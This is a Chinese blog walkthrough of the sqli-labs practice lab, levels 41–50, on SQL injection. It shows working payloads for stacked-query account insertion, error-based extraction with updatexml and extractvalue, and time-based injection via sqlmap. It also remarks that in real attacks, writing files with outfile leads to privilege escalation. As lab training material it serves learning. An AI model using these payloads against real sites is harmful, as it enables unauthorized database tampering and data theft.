在sqli-liabs学习SQL注入之旅(第四十一关~第五十关)

四十一关

(考察点:数字型、堆叠注入)

直接往数据库中插入一个 guanjian 账户:
?id=-1;insert into users(id,username,password) values(15,'guanjian','guanjian') --+

可以看见页面虽然报错,但是数据已经成功插入数据库中了。

四十二关

(考察点:POST字符型、堆叠注入)

分析这一关源码我们知道注入点在 password 中:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);  
$password = $_POST["login_password"]; 

我们直接输入账户:a          随意账户

                      密码:a';insert into users(id,username,password) values(16,'Less42','Less42') #

页面虽然报错,但是查看mysql数据库。我们的账号Less42已经插入成功!!!

四十三关

(考察点:POST字符型(单引号+括号)、堆叠注入)

这里我们不看源码简单判断下:

账户:a'          密码:a        页面跳转到禁止黑客入侵页面

账户:a           密码:a'       页面跳转并且报了错,可以推出注入点在password中

根据报错可以猜测password参数的接受方式为 id = ('&id')

使用堆叠注入插入账户Less43:

账户:a

密码:a');insert into users(id,username,password) values(17,'Less43','Less43') #

页面虽然报错,但是查看mysql数据库。我们的账号Less43已经插入成功!!!

四十四关

(考察点:POST字符型(单引号)、堆叠注入、盲注)

这一关和四十三关类似,区别在于这一关没有报错信息,属于盲注。

直接插入数据:a';insert into users(id,username,password) values(18,'Less44','Less44') #

页面虽然报错,但是查看mysql数据库。我们的账号Less44已经插入成功!!!

四十五关

(考察点:POST字符型(单引号+括号)、堆叠注入、盲注)

这一关和四十四关基本相同,区别在于参数的接受方式不同!

直接插入数据:a');insert into users(id,username,password) values(19,'Less45','Less45') #

页面虽然报错,但是查看mysql数据库。我们的账号Less45已经插入成功!!!

使用账号:Less45        密码:Less45        登录成功!

 四十六关

 又是新的一关,和往常一样输入参数 ?id=1 。卧槽!怎么行不通了:

对报错信息翻译一下,我们能获取到这一关的信息有:参数从id改为sort了;和排序有关;

我们来看一下这一关源码:

改个参数提交,页面正常!开始测试注入:

当sort=1时,页面以id排序:

当sort=2时,页面以password首字母排序:

结果很明显了,sort和排序有关。摸索一段时间过后,发现联合注入行不通:

这一关可以使用报错注入:

爆个数据库名:?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

爆个表试试:?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

  四十七关

这一关和四十六关类似,区别在于这一关是单引号接受参数。直接使用上一关的代码修改:

 ?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

四十八关

这一关通过简单的测试发现,页面是没有回显内容的。只能使用延时注入了。

而且这一关延时注入和之前的管卡一样,只不过换了个参数。我们可以手工判断,但是我选择sqlmap一把梭!嘻嘻嘻

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-48/index.php?sort=1 --dbs

四十九关

 这一关和四十八关一样,只是参数的接受方式不同,这一关为单引号,一样可以使用sqlmap梭哈!不再重复。

注意:这关也可以outfile进行写,实战中优先写入文件直接提权。

五十关

这关可以使用报错注入、堆叠注入。

 堆叠注入:?sort=1;insert into users(username,password) values('Less50', 'Less50') --+

报错注入:?sort=1 and extractvalue(1,concat('~',database()))

 总结:

从这十关学到了

(1)不同参数接受方式的堆叠注入;

(2)有无回显的堆叠注入,页面虽然报错,但是不影响我们成功插入数据;

(3)报错注入&工具sqlmap(永远滴神);

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值